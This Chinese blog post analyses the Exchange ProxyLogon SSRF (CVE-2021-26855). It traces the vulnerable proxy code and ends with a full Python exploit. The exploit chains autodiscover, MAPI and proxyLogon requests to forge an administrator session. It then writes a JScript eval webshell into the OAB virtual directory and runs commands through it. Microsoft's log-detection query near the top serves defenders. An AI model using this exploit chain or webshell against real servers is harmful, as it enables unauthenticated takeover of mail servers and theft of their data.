Exchange- (CVE-2021-26855)SSRF分析

由于之前的Exc漏洞都是建立在已经有了身份验证的情况下的,这个SSRF的出现改变了这一现状

这是微软发布的POWERSHELL检测方法

Import-Csv -Path (Get-ChildItem -Recurse -Path "$env:PROGRAMFILES\Microsoft\Exchange Server\V15\Logging\HttpProxy" -Filter '*.log').FullName `
| Where-Object {  $_.AuthenticatedUser -eq '' -and $_.AnchorMailbox -like 'ServerInfo~*/*' } | select DateTime, AnchorMailbox

而此漏洞的利用方式有如下

1. 通过SSRF漏洞攻击,访问autodiscover.xml泄露LegacyDN信息。
2. 在通过LegacyDN,获取SID。
3. 然后通过合法的SID,获取exchange的有效cookie。
4. 最后通过有效的cookie,对OABVirtualDirectory对象进行恶意操作,写入一句话木马,达到控制目标的效果。

这是与漏洞有关的url

        
/owa/auth/Current/themes/resources/logon.css
/owa/auth/Current/themes/resources/...
/ecp/default.flt
/ecp/main.css
/ecp/<single char>.js

漏洞点位于"C:\Program Files\Microsoft\ExchangeServer\V15\FrontEnd\HttpProxy\bin" 目录下的"Microsoft.Exchange.FrontEndHttpProxy.dll"。

 从GetBEResouceCookie方法可以看见 获取的cookie名叫啥和url以什么格式结尾

 

 

 

 

 

 通过查看看对BEResourceRequestHandler的调用发现SelectHandlerForUnauthenticatedRequest调用了BEResourceRequestHandler

 

 

 根据此请求发现url必须带有ECP且以上面图片结尾的后缀,构造demo

 

 

 

 

 

 

只有ProxyToDownLevelGetTargetBackEndServerUrl方法中将其设置为true时才调用方法。此方法检查用户是否已通过身份验证,如果未通过验证,则返回HTTP 401错误。

幸运的是,我们可以GetTargetBackEndServerUrl通过修改Cookie中的服务器版本来防止设置此值。如果版本大于Server.E15MinVersionProxyToDownLevel则为false。进行此更改后,我们成功通过了后端服务(自动发现服务)的身份验证。而这里需要的version就是下面通过~分割出来的version

 按照极光无限的步骤 附加进程到ECPAPPPOOL

 

 

dnSpy工具附加MSExchangeECPAppPool进程后,burpSuite直接发包后,dnSpy将会断下,可以看见最后获取的cookie值

 

 

 

BackEndServer.FromString()函数在处理beresouceCookie时,以"~"符号作为分隔符,进行提取字符串,然后分别赋值给fqdn和verison变量

 

 

 fqdn和verison变量将在ProxyRequestHandler.BeginProxyRequest类里的GetTargetBackEndServerUrl进行调用。
由于我们能控制BackEndServer.Fqdn参数,所以我们就控制了clientUrlForProxy.Host. 最后重构url发送给后端服务器

这里这个url的值就是

 

 

 然后把URL的值赋予给

 

 

 在进入函数CreateServerRequest时,会调用PrepareServerRequest进行uri代理请求的身份认证判断。(这个认证是判断你

 

 

 这里有四个判断前三个直接跳过进入最后一个else

 

 

 

 最后构造完整SSRF exp

 

只有ProxyToDownLevel在GetTargetBackEndServerUrl方法中将其设置为true时才调用该方法。此方法检查用户是否已通过身份验证,如果未通过验证,则返回HTTP 401错误。

幸运的是,我们可以GetTargetBackEndServerUrl通过修改Cookie中的服务器版本来防止设置此值。如果版本大于Server.E15MinVersion,ProxyToDownLevel则为false。进行此更改后,我们成功通过了后端服务(自动发现服务)的身份验证

有了SSRF我们如何继续 第一步想到的肯定是直接用EXCHANGE的kerbros请求漏洞路径如下,但是这个失败告诉我们此方法肯定不行,那么问题处在哪里呐?

 

 

 我们跟踪EXP发现如下 每次攻击时候都使用了ecp/proxyLogon.ecp 我们并未使用到,那么这个的作用是什么呐?又和这步有什么关系?

 

 

 

 

 

 

 我们定位web.config 找到此url指向的是namespace Microsoft.Exchange.Management.ControlPanel dll跟踪发现此方法会返回一个    this.EcpIdentity 的东西 并且需要传入三个Header

            string logonAccountSddlSid = context.Request.Headers["msExchLogonAccount"];
            string text = context.Request.Headers["msExchLogonMailbox"];
            string targetMailboxSddlSid = context.Request.Headers["msExchTargetMailbox"];

 

 那么这三个是必须的吗?

 从上面这一步发现 只要"msExchLogonMailbox"不为空那么我们就能进入下一步

 所以进入EcpLogonInformation identity = EcpLogonInformation.Create(logonAccountSddlSid, text, targetMailboxSddlSid, this.ProxySecurityAccessToken);

 发现

 为什么只需要logonaccountMailbox?

那为什么要POST一段xml数据呐?(我没有理清这里)

 

 这里我们来看传入xml数据后如何对它进行处理的?首先处理xml然后是判断是否正常格式,然后返回token包括groupID userid

 

 

 

 最终构造exp

import requests
from urllib3.exceptions import InsecureRequestWarning
import random
import string
import sys


def id_generator(size=6, chars=string.ascii_lowercase + string.digits):
    return ''.join(random.choice(chars) for _ in range(size))

# if len(sys.argv) < 2:
#     print("使用方式: python PoC.py <target> <email>")
#     print("使用方式: python PoC.py mail.btwaf.cn test2@btwaf.cn")
#     exit()

#proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
target = "192.168.1.102"#sys.argv[1]
email = "administrator@7dap.club"#sys.argv[2]
random_name = id_generator(4) + ".js"
user_agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36"

shell_path = "Program Files\\Microsoft\\Exchange Server\\V15\\FrontEnd\\HttpProxy\\owa\\auth\\test11.aspx"
shell_absolute_path = "\\\\127.0.0.1\\c$\\%s" % shell_path

# webshell-马子内容
shell_content = '<script language="JScript" runat="server"> function Page_Load(){/**/eval(Request["code"],"unsafe");}</script>'

autoDiscoverBody = """<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006">
    <Request>
      <EMailAddress>%s</EMailAddress> <AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema>
    </Request>
</Autodiscover>
""" % email

print("正在获取Exchange Server " + target+"权限")
print("=============================")
FQDN = "EXCHANGE01"
ct = requests.get("https://%s/ecp/%s" % (target, random_name), headers={"Cookie": "X-BEResource=localhost~1942062522",
                                                                        "User-Agent": user_agent},
                  verify=False)

if "X-CalculatedBETarget" in ct.headers and "X-FEServer" in ct.headers:
    FQDN = ct.headers["X-FEServer"]


ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
    "Cookie": "X-BEResource=%s/autodiscover/autodiscover.xml?a=~1942062522;" % FQDN,
    "Content-Type": "text/xml",
    "User-Agent": user_agent},
                   data=autoDiscoverBody,

                   verify=False
                   )

if ct.status_code != 200:
    print(ct.status_code)
    print("Autodiscover Error!")
    exit()

if "<LegacyDN>" not in str(ct.content):
    print("Can not get LegacyDN!")
    exit()

legacyDn = str(ct.content).split("<LegacyDN>")[1].split(r"</LegacyDN>")[0]
print("Got DN: " + legacyDn)

mapi_body = legacyDn + "\x00\x00\x00\x00\x00\xe4\x04\x00\x00\x09\x04\x00\x00\x09\x04\x00\x00\x00\x00\x00\x00"

ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
    "Cookie": "X-BEResource=Administrator@%s:444/mapi/emsmdb?MailboxId=f26bc937-b7b3-4402-b890-96c46713e5d5@exchange.lab&a=~1942062522;" % FQDN,
    "Content-Type": "application/mapi-http",
    "X-Requesttype": "Connect",
    "X-Clientinfo": "{2F94A2BF-A2E6-4CCCC-BF98-B5F22C542226}",
    "X-Clientapplication": "Outlook/15.0.4815.1002",
    "X-Requestid": "{E2EA6C1C-E61B-49E9-9CFB-38184F907552}:123456",
    "User-Agent": user_agent
},
                   data=mapi_body,
                   verify=False,

                   )
if ct.status_code != 200 or "act as owner of a UserMailbox" not in str(ct.content):
    print("Mapi Error!")
    exit()

sid = str(ct.content).split("with SID ")[1].split(" and MasterAccountSid")[0]

print("Got SID: " + sid)
sid = sid.replace(sid.split("-")[-1],"500")

proxyLogon_request = """<r at="Negotiate" ln="john"><s>%s</s><s a="7" t="1">S-1-1-0</s><s a="7" t="1">S-1-5-2</s><s a="7" t="1">S-1-5-11</s><s a="7" t="1">S-1-5-15</s><s a="3221225479" t="1">S-1-5-5-0-6948923</s></r>
""" % sid

ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
    "Cookie": "X-BEResource=Administrator@%s:444/ecp/proxyLogon.ecp?a=~1942062522;" % FQDN,
    "Content-Type": "text/xml",
    "msExchLogonMailbox": "S-1-5-123",
    "User-Agent": user_agent
},
                   data=proxyLogon_request,

                   verify=False
                   )
if ct.status_code != 241 or not "set-cookie" in ct.headers:
    print("Proxylogon Error!")
    exit()

sess_id = ct.headers['set-cookie'].split("ASP.NET_SessionId=")[1].split(";")[0]

msExchEcpCanary = ct.headers['set-cookie'].split("msExchEcpCanary=")[1].split(";")[0]
print("Got session id: " + sess_id)
print("Got canary: " + msExchEcpCanary)

ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
    "Cookie": "X-BEResource=Administrator@%s:444/ecp/DDI/DDIService.svc/GetObject?schema=OABVirtualDirectory&msExchEcpCanary=%s&a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s" % (
        FQDN, msExchEcpCanary, sess_id, msExchEcpCanary),
    "Content-Type": "application/json; ",
    "msExchLogonMailbox": "S-1-5-20",
    "User-Agent": user_agent

},
                   json={"filter": {
                       "Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel",
                                      "SelectedView": "", "SelectedVDirType": "All"}}, "sort": {}},
                   verify=False
                   )

if ct.status_code != 200:
    print("POST  shell:https://"+target+"/owa/auth/7dap.club.aspx")
    #print("GetOAB Error!")
    exit()
oabId = str(ct.content).split('"RawIdentity":"')[1].split('"')[0]
print("Got OAB id: " + oabId)

oab_json = {"identity": {"__type": "Identity:ECP", "DisplayName": "OAB (Default Web Site)", "RawIdentity": oabId},
            "properties": {
                "Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel",
                               "ExternalUrl": "http://ffff/#%s" % shell_content}}}

ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
    "Cookie": "X-BEResource=Administrator@%s:444/ecp/DDI/DDIService.svc/SetObject?schema=OABVirtualDirectory&msExchEcpCanary=%s&a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s" % (
        FQDN, msExchEcpCanary, sess_id, msExchEcpCanary),
    "msExchLogonMailbox": "S-1-5-20",
    "Content-Type": "application/json; charset=utf-8",
    "User-Agent": user_agent
},
                   json=oab_json,
                   verify=False
                   )
if ct.status_code != 200:
    print("Set external url Error!")
    exit()

reset_oab_body = {"identity": {"__type": "Identity:ECP", "DisplayName": "OAB (Default Web Site)", "RawIdentity": oabId},
                  "properties": {
                      "Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel",
                                     "FilePathName": shell_absolute_path}}}

ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
    "Cookie": "X-BEResource=Administrator@%s:444/ecp/DDI/DDIService.svc/SetObject?schema=ResetOABVirtualDirectory&msExchEcpCanary=%s&a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s" % (
        FQDN, msExchEcpCanary, sess_id, msExchEcpCanary),
    "msExchLogonMailbox": "S-1-5-20",
    "Content-Type": "application/json; charset=utf-8",
    "User-Agent": user_agent
},
                   json=reset_oab_body,
                   verify=False
                   )

if ct.status_code != 200:
    print("False")
    exit()

print("Success!")
print("POST  shell:https://"+target+"/owa/auth/test11.aspx")
shell_url="https://"+target+"/owa/auth/test11.aspx"
print('code=Response.Write(new ActiveXObject("WScript.Shell").exec("whoami").StdOut.ReadAll());')
print("get shell")
data=requests.post(shell_url,data={"code":"Response.Write(new ActiveXObject(\"WScript.Shell\").exec(\"whoami\").StdOut.ReadAll());"},verify=False)
if data.status_code != 200:
    print("False")
else:
    print("shellget"+data.text.split("OAB (Default Web Site)")[0].replace("Name                            : ",""))

 

posted @ 2021-03-16 22:00  yourse1f  阅读(2719)  评论(1编辑  收藏  举报